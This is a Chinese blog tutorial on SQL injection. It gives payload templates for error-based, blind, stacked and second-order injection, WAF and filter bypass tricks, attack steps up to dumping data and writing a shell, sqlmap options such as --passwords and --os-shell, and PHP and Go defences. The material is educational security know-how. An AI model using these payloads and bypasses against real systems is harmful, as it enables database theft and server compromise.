玩转SQL注入，想零基础入门到精通（超详细），收藏这一篇就够了

于 2024-09-11 14:46:50 发布
阅读量1.1k 收藏 28
点赞数 29
文章标签： 数据库 web安全 sql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/cairo_a/article/details/142139278
版权

漏洞介绍

（1）注入条件



1.  `用户能控制输入且输入的内容被带到数据库去执行`

（2）注入原理



1.  `对用户输入过滤不严谨。`

（3）注入本质



1.  `违背了“数据与代码分离”的原则`

（4）可能存在注入的SQL语句地方

  • select语句

    输入payload,最后加注释符即可。

  • insert语句

    将参数值补全，然后加注释符。

  • update语句

    注意update语句测试时，别更新整个库。最好使where或者if的判断条件的结果为0

  • delete语句

    同update，测试时需要注意让条件为假。

注入类型

报错注入

相关函数
  • UpdateX ML(X ML_target, xpath_expr, new_X ML) 更新X ML文档函数，当xpath_expr参数错误时会报错并显示参数信息。xpath_expr可以用SQL语句替代,在配合concat函数可以显示很多有用信息。

使用方法：



1.  `select updateX ML(1,concat(0x7e,({查询语句}}),0x7e),1)`

eg.



1.  `select updateX ML(1,concat(0x7e,(select datab ase()),0x7e),1)`
  • ExtractValue(X ML_frag, xpath_expr) 对X ML文档进行查询的函数，和updateX ML函数类似，可以在xpath_expr中执行SQL语句。

使用方法：



1.  `select extractvalue(1,concat(0x7e,({查询语句}),0x7e));`

eg.



1.  `select extractvalue(1,concat(0x7e,(select datab ase()),0x7e));`
  • floor(x) 向下取整函数

使用方法：



1.  `select count(*)from test groupby concat(({查询语句}),floor(rand(14)*2));`

eg.



1.  `select count(*)from test groupby concat((select version()),floor(rand(14)*2));`
  • exp(x)函数 该函数为e的指数函数。函数或者查询语句执行成功会返回0.0取反则为一个很大的数，exp(大数)会造成溢出。在有些版本使用此作为报错注入不成功。

时间盲注

  • 判断函数

（1）if函数：

if({表达式},{true执行的语句},{false执行的语句})

payload:



1.  `if(({判断语句}),sleep(3),1)`

eg.



1.  `select*from test.test where price="3.49"andif((length(user())>1)),sleep(1),1)`

注意if语句既可放在select之后，又可放在where或者and之后.

（2）case语句



1.  `casewhen(expr1)then(expe2)else(expr3)end;`

payload:



1.  `selectcasewhen{判断语句}then sleep(3)else1end;`

eg。



1.  `selectcasewhen(length(user())>1)then sleep(3)else1end;`
  • 其他相关函数

(1)sleep函数：sleep(x) 延时x秒

(2)比较操作符



1.  `>`
    
2.  `<`
    
3.  `=`
    
4.  `like`
    
5.  `regexp`
    
6.  `notin`

布尔盲注

布尔盲注的目标是根据响应内容的长度或者响应的关键字不同来判断SQL语句是否正确.

注入方法同时间盲注,也是用判断函数.

堆叠注入

SQL语句是以分号结尾的,有些SQL API能执行多句SQL指令,所以可以通过闭合和拼接的方式达到执行指定payload的目的.

如SQL语句为:



1.  `select*from users where id ='id' limit 0,1;`

当id为:



1.  `1';insert into users value(1,'user','pass')#`

那么SQL语句变为:



1.  `select*from users where id ='1';insert into users value(1,'user','pass')#' limit 0,1;`

达到插入数据的目的.

二次注入

攻击者构造的恶意数据存储到数据库后，恶意数据被读取并进入到SQL查询语句所导致的注入。

（1）存入数据库：



1.  `$username=$_GET['username'];`
    
2.  `$password=$_GET['password'];`
    
3.  `$result=mysqli_query($con,"insert into users(username,password) values('".addslashes($username)."','".md5($password)."')");`

（2）查询数据库：



1.  `$result2=mysqli_query($con,"select*from information where username='".$username."'");`
    
2.  `$row2=mysqli_fetch_array($result2);`

可以通过username参数嵌入恶意代码。

SQL注入攻击

攻击步骤

（1）测试是否存在SQL注入、判断是什么类型的注入

（2）根据注入类型，构造合适的payload，检测是否有过滤函数。如果有过滤函数，在下面构造payload时如果需要用到的字符被过滤，则采取对应的替代方法。

（3）构造payload，获取表长度、表名

（4）构造payload，获取列长度、列名

（5）获取数据。

进阶：

判断当前用户权限，获取所有的数据库，写shell。

绕过方法

1.关键词绕过：
  • 注释绕过


1.  `U/**/Nion`
  • 内联注释


1.  `/!*Union*/`

  • 双写绕过

  • 大小写绕过。

2.比较符号绕过

使用其他比较符号或函数



1.  `=`
    
2.  `like`
    
3.  `rlike`
    
4.  `regexp`
    
5.  `<`
    
6.  `>`
    
7.  `between a and b`
    
8.  `greatest()`
    
9.  `least()`
3.逗号绕过

逗号会用到的地方：substr()，mid(),limit，if(,)语句

  • 如果是盲注可以使用case语句。

  • 对于substr和mid函数可以用from (index) for (len).

eg.



1.  `select substr("abc"from1for2)`
  • 对于limit可以使用offset来绕过


1.  `select*from table_name limit 1 offset 0`

等价于



1.  `select*from table_name limit 0,1`
4.注释绕过


1.  `#`
    
2.  `%23`
    
3.  `--空格`
    
4.  `/**/`
5.空格绕过


1.  `%a0`
    
2.  `%0a`
    
3.  `%20`
    
4.  `+`
    
5.  `括号绕过  and()            //括号两端可以不需空格`
    
6.  `注释绕过and/**/1`
6.引号绕过

十六进制绕过：会使用到引号的地方一般是where子句中，可以用0xxxxx代替 “” 或’’

通用关键函数

  • mid(str,pos,len) 截取子字符串，从pos位置开始长度为len的子字符串。注意mysql位置是从1开始。

  • substr(str,pos,len) 截取字符串，同mid

  • ord()、ascii() 返回字符的ascii码值

  • CONCAT(str1,str2,…) 连接函数，将参数中按字符串连接起来。

  • GROUP_CONCAT(expr) 组连接函数，将表达式中的组结果连接起来。

  • LENGTH(str) 获取字符串长度

一些SQL注入技巧

%5c爆库路径（\）

SQL注入可能出现的点

  • get参数

  • post参数（表单参数）

  • cookie中参数

  • X-Forwarded-For

  • User-Agent

  • Refer

SQL注入危害

  • 获取用户名密码。

  • 脱库、删库、改库

  • 写木马

SQL注入防御方法：



1.  `1、预编译`
    
2.  `2、使用安全的存储过程（先将SQL语句定义在数据库中），同时避免使用动态的SQL语句。`
    
3.  `3、检查数据类型`
    
4.  `4、使用安全函数`
PHP防御

注意防御需要多种防御方式结合能达到最佳效果。

（1）使用转义字符串mysql_real_escape_string

eg.



1.   `$city = $mysqli->escape_string($city);`

（2）使用mysqli的prepare语句

eg.



1.  `$uname = $_POST["username"];`
    
2.  `$stmt = $mysqli->prepare("INSERT INTO table (column) VALUES (?)");`
    
3.  `$stmt->bind_param("s", $uname);    // "s" means the datab ase expects a string`
    
4.  `$stmt->execute();`

（3）使用PDO

eg.



1.   `$stmt = $pdo->prepare('SELECT * FROM USERS WHERE name = :name');`
    
2.   `$stmt->execute(array('name'=> $name));`

（4）添加过滤函数

不推荐使用此方法，因为可能存在过滤不全的情况。

eg.



1.  `$farr = array(`
    
2.      `"/<(\\/?)(s cript|i?f rame|style|html|body|title|l ink|m eta|o bject|\\?|\\%)([^>]*?)>/isU",`
    
3.      `"/(<[^>]*)on[a-zA-Z]+\s*=([^>]*>)/isU",`
    
4.      `"/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dump/is"`
    
5.  `);        //既过滤XSS，又过滤SQL注入`
    
6.  `$str = preg_replace($farr,'',$str);`

（5）PHP选项开启

magic_quotes_gpc负责对GET、POST、COOKIE的值进行过滤

magic_quotes_runtime对从数据库或者文件中获取的数据进行过滤

Go防御

datb ase/sql 使用参数化查询



1.  `db.QueryRow("SELECT * FROM userinfo WHERE username =? AND password =?", sename, partname)`

采用的是预编译的方法，QueryRow()方法会对传入参数进行强制类型检查和安全检查。

SQLMAP

（1）判断是否存在SQL注入

参数：



1.  `-r [file]                //burp包的文本`
    
2.  `--data                   //post数据`
    
3.  `--u [url]                //指定URL`
    
4.  `--cookie                 //cookie`
    
5.  `--headers                //设置请求头`
    
6.  `--forms                 //自动填充表单`
    
7.  `--referer                //设置referer`
    
8.  `--proxy                 //代理地址`
    
9.  `--random-agent          //使用随机UA头`
    
10.  `--referer               //指定referer头`
    
11.  `--risk 3--leve3        //cookie,http请求头，参数都扫描`
    





1.  `-p "参数"                  //指定测试参数，可以为多个，用逗号隔开即可。`
    
2.  `--skip "参数"              /指定不测试的参数，可以为多个，用逗号隔开即可。`
    





1.  `--threads [线程数量]       //最大并发线程数`
    





1.  `--technique [技术]        //指定检测的技术`
    
2.  `option:`
    
3.  `B:Boolean-b ased blind SQL injection（布尔型注入）`
    
4.  `E:Error-b ased SQL injection（报错型注入）`
    
5.  `U: UNION query SQL injection（可联合查询注入）`
    
6.  `S:Stacked queries SQL injection（可多语句查询注入）`
    
7.  `T:Time-b ased blind SQL injection（基于时间延迟注入）`
    





1.  `--time-sec [时间]         //设置时间盲注的时间`
    





1.  `--prefix                //给payload加入前缀或者后缀`
    
2.  `--suffix`
    





1.  `--second-order [指定页面]   //盲注时判断响应的页面，不指定默认为当前页面。`
    





1.  `--tamper [绕WAF脚本]`

（2）判断权限，猜表猜库



1.  `--current-user 获取当前用户`
    
2.  `--current-db  获取当前数据库名称`
    
3.  `--is-dba      判断当前用户是否为管理员。`
    
4.  `--users       列出所有用户`
    
5.  `--passwords   列出所有用户的密码表`
    
6.  `--banner      返回数据库版本号`
    
7.  `--dbms        探测数据库类型`
    
8.  `--os          探测操作系统类型`
    
9.  `--os-shell    写shell`

—code=CODE HTTP code to match when query is e valuated to True
用HTTP的响应码来判断注入判断语句是正确的，例如，响应200的时候为真，响应401的时候为假，可以添加参数—code=200

学习资料分享

最后给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

       如果你想要入坑黑客&网络安全工程师，这份282G全网最全的网络安全资料包！

  网络安全大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

​​​​​​
 学习资料工具包

压箱底的好资料，全面地介绍网络安全的基础理论，包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等，将基础理论和主流工具的应用实践紧密结合，有利于读者理解各种主流工具背后的实现机制。

​​​​​​

网络安全源码合集+工具包

​​​​

视频教程

​​​​

 视频配套资料&国内外网安书籍、文档&工具

​​​
​​ 因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

黑客/网安大礼包：CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!

黑客-小千
关注
SQL注入和sql-labs通关1-18（手工注入、高权限注入、文件读写、提交方式、查询方式、WAF绕过、sqlmap）
m0_61506558的博客
07-25 874
对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。......
Spring Boot 教学 学习 讲义笔记 【入门到精通一篇就够了】（上）
Likme1的博客
10-17 2074
Spring Boot 基于 Spring 开发，Spirng Boot 本身并不提供 Spring 框架的核心特性以及扩展功能，只是用于快速、敏捷地开发新一代基于 Spring 框架的应用程序。
Spring Boot入门到精通（超详细）
qq_41627024的博客
06-06 5979
本文主要讲了Springboot从基础到高阶涉及到的相关技术，让读者能够快速入门，深入了解Springboot框架，并能够熟练的使用springboot，快速提升个人技能。
SQL注入方法大全（非常详细）零基础入门到精通，收藏这一篇就够了
最新发布
Javachichi的博客
08-01 1819
SQL注入方法小百科某一个数据库的名字，这个数据库十分的特殊，里面存放着,大量的隐私信息information_schema数据库中的一个表schemata表中的一个字段（列）,这个字段中记录着所有数据库的名称information_schema数据库中的一个表tables表中的一个字段（对应数据库的名字），这个字段里面记录着所有的数据库的名字tables表中的一个字段（相应数据库中所对应的表名），记录着与table_schema这个字段对应的数据库中对应的表名。
Web安全和渗透测试有什么关系？
Python_0011的博客
03-31 1022
做渗透测试的一个环节就是测试web安全，需要明白漏洞产生原理，通过信息收集互联网暴露面，进行漏洞扫描，漏洞利用，必要时进行脚本自编写和手工测试，力求挖出目标存在的漏洞并提出整改建议，当然如果技术再精一些，还要学习内网渗透（工作组和域环境），白盒审计，app，小程序渗透那些了......可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料&工具，并且已经帮大家分好类了。总之，web安全包含于渗透测试，但不是渗透测试的全部。
SQL注入入门（一）——SQL注入初认识
Pz_mstr's Blog
08-13 1208
揭开SQL注入的神秘面纱
SQL注入
weixin_33696106的博客
12-19 93
一、SQL注入简介 　　SQL注入（SQL Injection），通过构建SQL代码相关的特殊输入，作为参数传递到服务器，服务器解析并执行SQL语句进而达到攻击者所要的操作。如：通过提交一段数据库查询代码，根据程序返回的结果，获得某些攻击者想得知的数据；或通过控制部分SQL语句，攻击者可以利用数据库的一些特性，直接获取数据库服务器的系统权限。 　　发生SQL注入的主要原因是程序没有细致地过滤用...
sql注入入门
lelemom的博客
11-21 694
参考文章：https://www.cnblogs.com/sdya/p/4568548.html 正常的语句 select * from users where username='marcofly' and password=md5('test') 异常操作： 在用户名输入框中输入:’ or 1=1#,密码随便输入，这时候的合成后的SQL查询语句为： 　　select * from u...
SQL注入入门
qq_46151129的博客
10-04 109
SQL基础 SQL注入：就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令，比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击。 原理 通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作。 产生原因 1.不当的类型处理； 2.不安全的数据库配置； 3.不合理的查询集处理； 4.不当的错误处理； 5.转义
Springboot入门到精通（超详细文档）
m0_67393413的博客
06-12 3334
我们知道，从 2002 年开始，Spring 一直在飞速的发展，如今已经成为了在Java EE（Java Enterprise Edition）开发中真正意义上的标准，但是随着技术的发展，Java EE使用 Spring 逐渐变得笨重起来，大量的 XML 文件存在于项目之中。繁琐的配置，整合第三方框架的配置问题，导致了开发和部署效率的降低。2012 年 10 月，Mike Youngstrom 在 Spring jira 中创建了一个功能请求，要求在 Spring 框架中支持无容器 Web 应用程序体系结构
《滚雪球学Spring Boot》教程导航帖（更新于2024.06.20）
热门推荐
**My Coding Family**
06-29 4万+
《滚雪球学Spring Boot》是由CSDN博主bug菌创作的全面Spring Boot教程。作者是全栈开发专家，在多个技术社区如CSDN、掘金、InfoQ、51CTO等担任博客专家，并拥有超过30万的全网粉丝。该教程分为入门篇和进阶篇，每篇包含详细的教学步骤，涵盖Spring Boot的基础和高级主题。
sql注入学习入门篇
12-16
sql注入学习入门篇
Spring Boot进阶(57)：Spring中@Autowired不适用的场景，不要掉进坑里！
**My Coding Family**
07-19 1518
Spring中什么时候不要用@Autowired注入？你若不会我可以教你。
SQL注入——入门篇
个人笔记
07-09 4万+
SQL注入 快捷键 加粗 Ctrl + B 斜体 Ctrl + I 引用 Ctrl + Q 插入链接 Ctrl + L 插入代码 Ctrl + K 插入图片 Ctrl + G 提升标题 Ctrl + H 有序列表 Ctrl + O 无序列表 Ctrl + U 横线 Ctrl + R 撤销 Ctrl + Z 重做 ...
sql注入--入门篇
小虾米
03-20 946
首先，需要先学习一下SQL语句，至少知道怎么用。具体可以参考w3school。其次，需要了解各种各种数据库的结构。例如mysql数据库，有information_schema库，库里有schemata，tables，columns表，表里还有各种字段。这里推荐一下适合SQL注入入门的资源： sqli-labs环境搭建： https://github.com/Audi-1/sqli-labs MyS
SQL注入基础入门
本散修的一些学习心得与笔记，道友请自便。
07-06 1058
SQL注入是本散修学习过程中和刷CTF题整理的一些心得，现在看来感觉也还是入门，没有涉及到很多进阶的方式，后续有能力的话应该还会继续写一些过waf的进阶操作。
Sql注入的入门教程
New_Ss_的博客
01-29 1572
Sql注入比较常见的漏洞之一，例用程序员的漏洞来进行无账号的登陆，篡改数据库。任何客户端可控，传参数到服务端的变量，和数据库交互，都有可能存在sql注入 原理 用户通过构造sql语句来模仿服务器发向服务器的语句，造成错误执行。从而达到自己的目的。 sql注入的步骤 1.发现注入位置。 2.判断注入类型传参方式的：get类型，post类型，cookie类型。 以及根据注入点不同的：数字型注入，单引号注入，双引号注入。 首先是单引号双引号注入（单引号为例）： SELECT * FROM.
SQL注入基础入门篇
wyp20011020的博客
03-29 244
sql注入
sql注入入门学习
weixin_53146913的博客
07-20 503
MySQl注入的一般流程
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值